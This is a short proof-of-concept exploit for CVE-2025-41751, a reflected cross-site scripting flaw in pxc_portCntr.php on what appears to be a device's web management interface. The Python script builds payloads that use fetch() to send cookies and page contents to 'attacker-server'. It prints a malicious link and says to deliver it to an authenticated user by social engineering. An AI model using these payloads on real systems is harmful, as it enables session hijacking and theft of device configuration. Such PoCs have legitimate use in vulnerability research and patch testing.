CVE-2025-41751 pxc_portCntr.php 跨站脚本(XSS)漏洞

import requests import urllib.parse # CVE-2025-41751 XSS PoC # Target: pxc_portCntr.php # Attack Type: Reflected XSS via URL parameters target_url = "http://target-device/pxc_portCntr.php" # XSS payload - steals page content and configuration data xss_payload = "<script>fetch('https://attacker-server/steal?data='+document.cookie+'&content='+encodeURIComponent(document.body.innerHTML))</script>" # Alternative payload - modifies WBM parameters xss_payload_alt = "<img src=x onerror='fetch(\"https://attacker-server/log?param=\"+document.URL)'>" # Construct malicious URL params = { 'port': xss_payload, 'action': 'view' } malicious_url = target_url + '?' + urllib.parse.urlencode(params) print(f"Malicious URL: {malicious_url}") print(f"\nSend this URL to authenticated WBM user via social engineering") # Verification payload - simple alert test verify_payload = "<script>alert('XSS Confirmed - CVE-2025-41751')</script>" print(f"\nVerification URL: {target_url}?port={urllib.parse.quote(verify_payload)}")